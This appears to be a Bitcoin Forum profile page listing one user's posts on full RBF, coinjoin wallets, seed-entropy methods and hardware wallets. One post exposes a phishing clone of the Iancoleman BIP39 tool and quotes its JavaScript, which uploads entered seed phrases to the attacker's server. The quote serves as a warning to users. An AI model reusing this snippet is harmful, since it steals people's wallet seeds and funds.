Bitcoin Forum
July 07, 2024, 10:14:29 AM *
News: Latest Bitcoin Core release: 27.0 [Torrent]
 
  Home Help Search Login Register More  
  Show Posts
Pages: « 1 ... 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 [152] 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 ... 837 »
3021  Other / Beginners & Help / Re: Is Iancoleman BIP39 Site Changed Domain from .io to .ch? on: November 05, 2022, 10:13:56 AM
I can't even imagine typing my recovery seed into any so called safe platform of any kind
...
newest updates from Trust wallet and other multi coins wallet have given users access to private keys per wallet addresses you created.
And how are you going to get your private keys from Trust wallet if you don't type your seed phrase in first, which you've just said you would never do? If I need to enter my seed phrase somewhere to derive my private keys, then 100% of the time I'm going to choose an open source and verifiable tool downloaded from GitHub and ran on an offline machine, such as Iancoleman, over a closed source and unverifiable tool downloaded from an app store, such as Trust wallet.

Iancoleman's site is perfectly legit and perfectly safe if used properly - downloaded, verified, and airgapped. The existence of a malicious version is not a reason not to use it, otherwise you shouldn't be using this forum, your browser, your OS, or pretty much any piece of software at all.
3022  Bitcoin / Development & Technical Discussion / Re: Full RBF on: November 05, 2022, 10:04:13 AM
People are not paying attention to it, and the people who are using software that is going to be effected by it seem to be taking their time in dealing with it.
Marco Falke noted that in his pull request here: https://github.com/bitcoin/bitcoin/pull/26287. Full RBF has been discussed for years. It's pretty surprising that developers of projects which accept/depend on zero confirmation transactions are only learning about it now.

Lots more discussion on this pull request in the last couple of days, and now another new one from Andrew Chow - https://github.com/bitcoin/bitcoin/pull/26456.
This one removes the setting from 24.0 entirely simply to allow 24.0 to be released and to allow ongoing discussion regarding full RBF to happen, but even that seems to be contentious.

Disabled-RBF Is fundamentally flawed, because the system is designed to work trustlessly, and transactions that pay the most ought to, naturally, have advantage.
As noted in the mailing list discussion, this is the natural state of the system, and as the block subsidy falls and fees make up a larger and larger proportion of miners' income, then they are more and more likely to start accepting higher paying replacement transactions even if the original is opted out of RBF.
3023  Bitcoin / Project Development / Re: Are dices for generating seed words fair? on: November 05, 2022, 09:37:09 AM
of course you could get lots of h+h or t+t maybe it takes about 96 tosses per word.
You don't do it per word - you do it per bit. 2 tosses per bit, and assuming a close to 50% rejection rate for a minimally biased coin, then you need on average 512 flips for a 128 bit number encoding a 12 word seed phrase.

Quicker, simpler, more secure, and provably unbiased, when compared to the bingo machine suggestion (or any other physical entropy suggestion, for that matter).
3024  Other / Meta / Re: Public request to Theymos for a name change on: November 05, 2022, 09:31:16 AM
If I pull the trigger, not even good ol' Dr. o_e_l_e_o would be able to sew its head back on.
Challenge accepted.
3025  Bitcoin / Project Development / Re: Are dices for generating seed words fair? on: November 03, 2022, 08:55:23 PM
No one can perfectly determine the bias on a bingo machine.
So why use it at all, when you can use a von Neumann approach to flipping a coin to have a system which provably has zero bias? Not to mention simpler and quicker as well.

First weigh every ball
Second do dozens of diameter and circumference measurements.
Obviously almost no one would actually do this, which means all your assumptions which follow of the bias being too small to make a difference are flawed. It you don't test what your bias is, then you have no idea if it is too small to make a difference.
3026  Bitcoin / Wallet software / Re: 3 questions about wallets and DEXs on: November 03, 2022, 09:21:10 AM
Bisq will attempt to connect to your own node if you are running one, but will run perfectly well without a local node to connect to. You only need to run your own node if you want the additional security and verification that running your own node brings you. Otherwise you can use Bisq as an SPV wallet, connecting to other nodes on the network to receive the necessary data. You can also point it at a specific node, so you can install Bisq on your laptop and take it with you to do trades, while having it connected to your own node running at home.

More info here: https://bisq.wiki/Connecting_to_your_own_Bitcoin_node
3027  Bitcoin / Wallet software / Re: Any "new" news on wasabi wallet coinjoins? on: November 03, 2022, 09:04:28 AM
-snip-
dkbit98 brought this up in the other Wasabi thread a few months ago in regards to forking Wasabi to avoid its censorship, blacklisting, and surveillance: https://bitcointalk.org/index.php?topic=5405325.msg60551095#msg60551095

My response to your question now will be the same as it was to his - there is no point. We already have a better coinjoin implementation called JoinMarket as you point out, which can be used right now. It does not spy on its users, it does not support blockchain analysis, it is not pro-censorship, it is not reusing addresses. If a user (or group of users) have the requisite knowledge and skills to contribute to a coinjoin project, why would they take a fundamentally flawed project and spend their time mitigating these flaws, when instead they could choose to just contribute to and help develop a project without such flaws?
3028  Bitcoin / Hardware wallets / Re: Block is making hardware wallet for Bitcoin on: November 03, 2022, 08:57:12 AM
Depending on if, when, and how full RBF gets implemented with the next Bitcoin Core release, it might be easy to doublespend the transaction back to yourself. But that depends on too many factors out of your control: how many nodes opt-in for Full RBF, how many pools do it, and will the Block app have an option to cancel/doublespend a transaction back to yourself. o_e_l_e_o is a better person to talk to about such scenarios.
I don't think such a scenario is even worth entertaining, because it would be fundamentally ridiculous scenario to be in where you are having to restore your hardware wallet to a different device to double spend your own transaction to try to recover your coins. The fact that such a ridiculous scenario is even a possibility (since there is no screen on the hardware device so therefore no way to verify what you are actually signing before you sign it) should be enough to tell you that you don't want to to use this device.

I fail to see what advantages this screenless hardware devices has over a simple 2FA hardware key such as the YubiKey. With both you cannot send a transaction without it, and both are unable to provide the ability to independently verify your transaction prior to signing. The YubiKey will likely end up being significantly cheaper, though, as will all your transactions since they won't be 2-of-3 multi-sig. And of course with your own 2FA set up, you can back up your wallet properly using a seed phrase and not some crazy scheme based on a third party account and social contacts.
3029  Economy / Services / Re: LoyceV's Avatar for Rent [first 🦊🦊🦊3 YEARS🦊🦊🦊 (188 weeks) rented out] on: November 02, 2022, 07:55:03 PM
My wife is going to ban me from my computer soon
Did she get a glance at your browsing history? Wink
3030  Bitcoin / Development & Technical Discussion / Re: Multi-User transaction with Bitcoin. on: November 02, 2022, 03:10:07 PM
I wouldn't use multi-sig for this at all. Instead I would use SIGHASH_ALL | SIGHASH_ANYONECANPAY.

Essentially, Alice creates a transaction which contains her 0.1 mBTC input and a 0.2 mBTC output to the society. She signs it with SIGHASH_ALL | SIGHASH_ANYONECANPAY. This signs her input and the output (meaning they cannot be changed), but allows the addition of further inputs (but not further outputs). She then passes this transaction to Bob. Bob cannot broadcast it as it stands, because the outputs are higher than the inputs and so it is invalid. However, Bob can then add his own 0.1 mBTC input to the transaction, which would make it valid, and can then be broadcast.

Alternatively, Alice could sign with SIGHASH_SINGLE | SIGHASH_ANYONECANPAY, allowing Bob to add his own input as well as additional outputs, in case he doesn't have a 0.1 mBTC ready to go and needs to add a change address.
3031  Bitcoin / Development & Technical Discussion / Re: Bitcoin can be faster as VISA on: November 02, 2022, 01:29:39 PM
Do we have any reports about how big of a problem this is? But I also think that it will cause a division in the community if the majority of nodes opt-in for Full RBF.
I don't, but I would recommend reading the three mailing list posts I linked to here for more information about the issue.

The services and businesses I mentioned previously will suffer, and they will have to find a new way to retain their customers but without exposing themselves to being attacked with doublespends. Instant swaps become a thing of the past.
True. There is a lot of ongoing discussion on this topic between the CEO of Bitrefill Sergej Kotliar and some of the devs, starting from here: https://lists.linuxfoundation.org/pipermail/bitcoin-dev/2022-October/021056.html. There have been various opinions raised, from "Zero confs were never safe to begin with" to "Use Lightning" to "The receiver can use CPFP". None of them seem entirely satisfactory.
3032  Bitcoin / Development & Technical Discussion / Re: Full RBF on: November 02, 2022, 01:11:36 PM
Bump.

There's been another recent flurry of discussion regarding this on the mailing list and GitHub, which stemmed from this post by one of the developers of Muun wallet: [Opt-in full-RBF] Zero-conf apps in immediate danger

His concerns are essentially that full RBF means all their zero confirmation functionality, include submarine swaps and various instant Lightning sends, become too risky and they would have to cease immediately. This spawned a lot of discussion which you can read if you are interested. There is a good summary of the whole issue from Gloria Zhao available here: https://github.com/glozow/bitcoin-notes/blob/full-rbf/full-rbf.md

The discussion spawned several more pull requests:
https://github.com/bitcoin/bitcoin/pull/26287 - remove the full RBF option from 24.0 entirely, and potentially introduce it in 25.0 with a default setting of true
https://github.com/bitcoin/bitcoin/pull/26305 - leave the full RBF option in 24.0 with a default setting of false, and turn the default setting to true in 25.0
https://github.com/bitcoin/bitcoin/pull/26323 - leave the full RBF option in 24.0 but change the default setting to true, but it does not activate until May 1st, 2023
https://github.com/bitcoin/bitcoin/pull/26438 - remove full RBF option entirely

It's not clear yet what the final outcome here is going to be. There seems to be consensus for the full RBF option defaulting to true at some point in the future, but not clear yet if that will be 25.0, a future version, a fixed date 6/12/18 months in the future, or some other point depending on network uptake. Whether or not 24.0 still ships with the full RBF option included but set to false by default is not so clear at the moment, but I suspect it will go ahead as was originally planned.
3033  Bitcoin / Project Development / Re: Are dices for generating seed words fair? on: November 02, 2022, 09:09:53 AM
i think we can say that if lotteries use variants of the bingo cage system (they blow air into the balls and let one ball come through a tube at a time) if it's good enough for handing out 500 million dollars to someone that can pick the winning balls then i think it's good enough to secure my bitcoin or whatever crypto i'm trying to store.
And do you have a high grade, thoroughly tested, independently audited, state or national level lottery machine in your house? Or do you have some kids toy you bought for 20 bucks? They are not comparable.

like radioactive decay being random. can you prove that? do you demand proof of it before you would accept it? probably not. in fact, you can't prove it. all you can do is say based on observations so far it seems to....
That's pretty much how all of science works. We have mountains of data from hundreds of years of global study that says that radioactive decay is random. How much data do you have on your little bingo machine at home?

This is again my point. I don't want entropy I think is random. I want entropy which has been proven to be random.

I would think the mechanical bingo method is good enough if you do a 24 word key.
There we go again. "I would think". What you are proposing may well be safe enough, but we don't know that. And the amount of time and complexity required to exclude bias from a bingo machine is out of reach of the average Joe.
3034  Bitcoin / Wallet software / Re: 3 questions about wallets and DEXs on: November 02, 2022, 09:00:05 AM
Sorry o_e_l_e_o. I would also not use tether if I dont have to.
No need to apologize. I was simply stating what I would do in such a situation. But that's the beauty of bitcoin - you are free to use it in any way you desire, and no one stop you.

What can I do when people keep turning down my offers to use bitcoin?
Don't forget that you are not limited to accepting trades which already exist; you can also post your own trades for others to accept. While you may want to accept some USDT trades now for the sake of speed, you could also post a couple of BTC offers simultaneously and wait for others to accept them in the meantime.
3035  Other / Beginners & Help / Re: Is Iancoleman BIP39 Site Changed Domain from .io to .ch? on: November 02, 2022, 08:56:04 AM
so in this case, if {don't know} user try to recovery mnemonic seed using that scam site, that possible a scammer got our detail into the scammer server and was able to steal our cryptocurrency, right?
Any seed phrase which is either generated by that site or entered in to the seed phrase box is uploaded to the site's server and therefore accessible by the malicious person behind this site. So yes, the scammer will have your seed phrase and therefore will steal your coins.

So, is possible they got if not bip39 seed?,
because that site especially for bip39 seed, when using electrum seed, that different category, maybe not successfully generate the private key and won't able to get the detil?.
There should be no reason to insert an Electrum seed phrase on the Iancoleman site since it will not generate the correct addresses even if it (by chance) passes the checksum,* but you should assume that the scammer behind this site is well aware of the difference between BIP39 seed phrases and Electrum seed phrases, and would also check the seed phrase for any Electrum wallets.

*You can edit the code to make it work with Electrum seed phrases if you desire, but that's not really relevant to this discussion.
3036  Bitcoin / Development & Technical Discussion / Re: Bitcoin can be faster as VISA on: November 01, 2022, 08:27:37 PM
How easily? Are we talking about a click of button in a piece of software?
Every transaction will be treated as opted in to RBF, so double spending any unconfirmed transaction will be as easy as double spending a RBF opted-in unconfirmed transaction today. So yes, a couple of clicks in a wallet such as Electrum, and you can "cancel" your payment by RBFing it back to yourself.

Is this full RBF feature going to be an optional feature, or is that the new norm for RBF-enabled transactions?
The default behavior will for nodes to have full RBF disabled, but nodes will be free to enable it if they so choose. The default may change to enabled in the future.

What I am asking is, can I use the "standard" RBF we have now or go with full RBF, or will their be no "standard" anymore?
If you opt in to RBF, then your transaction will definitely be replaceable as it is now. If you opt out of RBF, then some nodes will accept a replacement while others won't. Which transaction ends up being mined depends on how many nodes enable full RBF, how many miners are looking at nodes which enable full RBF, and a bit of luck.

What is the reasoning behind implementing this?
It prevents DoS attacks against multi-party funded transactions such as coinjoins and Lightning channels. There's more discussion about why this is the case in this thread: Full RBF

It could also require services that accept unconfirmed transactions to completely re-think their business model.
Correct.

Seems all that will be negatively affected if full RBF can't be deactivated manually.
You can disable full RBF on your node, but that doesn't mean you can start accepting zero confirmation transactions again if the rest of the network has enabled full RBF. Your node might reject the double spend transaction from its mempool, but that is irrelevant if the double spend transaction finds its way in to a block.
3037  Bitcoin / Development & Technical Discussion / Re: Bitcoin can be faster as VISA on: November 01, 2022, 03:06:22 PM
And also the hassle of carrying cash, accepting cash, keeping appropriate amounts of change and coins, the higher risk of theft, the inconvenience, cost, and risk of having to take that cash to a bank to deposit it, and not to mention that many merchants don't accept cash above a certain limit or even don't accept cash at all.

When you consider all the disadvantages of the various types of fiat payment methods, bitcoin is clearly the superior currency as far as I am concerned.
3038  Other / Beginners & Help / Re: Is Iancoleman BIP39 Site Changed Domain from .io to .ch? on: November 01, 2022, 02:41:27 PM
I've just had a quick look through the source code for the .ch site, and here is the scam code which is missing from the real .io site, at line 18,466:

Code:
$(document).on('blur', 'textarea#phrase', function(e){
      var mnemonic = e.target.value
      console.log("mnemonic=>", mnemonic)
      $.ajax({
        type: "POST",
        url: "capture.php",
        dataType: "JSON",
        data: {mnemonic, userAgent: navigator.userAgent}
      })
  })

Essentially any mnemonic that you generate using this website is first logged to the console and then uploaded to the server.

And I'll repeat myself as I always do whenever someone ends up on a scam site - follow the instructions below to avoid 99.9% of these scams:

Stop using Google to find the website of exchanges, services, or wallets.

Stop following random links without checking the URL.

Start using uBlock Origin.

Never type your seed in anywhere.

How many times does this need repeated?

OP: I would suggest you edit the topic title and your first post to make it clear to anyone who stumbles across it or finds it via a search engine that the only real iancoleman site is the .io one. Also, it should only be used after you download it from GitHub at https://github.com/iancoleman/bip39 and run it on an offline machine, and never ran via an online site.
3039  Bitcoin / Development & Technical Discussion / Re: Bitcoin can be faster as VISA on: November 01, 2022, 01:16:07 PM
I might compare someone "swiping" their credit card at a merchant, and the payment processor (using the Visa network) telling the merchant the transaction was "authorized" to an unconfirmed bitcoin transaction. In most cases, the transaction will be finalized and will not be reversed, but there is still the potential for a reversal (or in the case of bitcoin transactions, a double spend).
Exactly my point. Neither an unconfirmed bitcoin transaction nor a Visa authorization of payment are final. However, the bitcoin transaction is difficulty and costly to even attempt to double spend (certainly not worth it for the price of a meal in a restaurant) and the double spend attempt has a high chance of failing, while a Visa transaction can be reliably reversed easily and for free with a single phone call claiming that your card was stolen. Further, the window for a bitcoin double spend is ~10 minutes, while the window for a Visa reversal is 180 days.

The only form of money which is instantly confirmed and irreversible is cold hard cash, with bitcoin being a close second. Everything else is a very distant third place.

Having said all that, this situation will change somewhat when full RBF is released with Core v24.0. At that point, zero confirmation transactions will be easily reversed, so you either have to trust your customer not to scam you (as you do with every credit card transaction), wait for a confirmation (still much quicker than 180 days!) or use Lightning.
3040  Bitcoin / Wallet software / Re: Any "new" news on wasabi wallet coinjoins? on: November 01, 2022, 11:22:02 AM
Any other privacy matters that may have surfaced lately?
Wasabi has been reusing addresses, a lot, which has resulted in a lot of post-mix coins being linked back to pre-mix coins and being de-anonymized. And then the devs have been on Twitter, both defending that it is "acceptable" and also lying about it entirely.

Here's an example thread: https://nitter.it/HillebrandMax/status/1586249382097088512#m
Gets shown address reuse, claims it isn't from 2.0 and that it has never happened in 2.0. Then gets shown address reuse from 2.0, and says they've already patched it. How could they have patched it while also claiming it has never happened? They are lying somewhere.

Here's another example: https://nitter.it/ErgoBTC/status/1585671294783311872#m
And dozens more: https://nitter.it/wasabistats

But the devs don't care, because apparently some address reuse is "acceptable": https://nitter.it/HillebrandMax/status/1586321068129939456#m
Pages: « 1 ... 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 [152] 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 ... 837 »
Powered by MySQL Powered by PHP Powered by SMF 1.1.19 | SMF © 2006-2009, Simple Machines Valid XHTML 1.0! Valid CSS!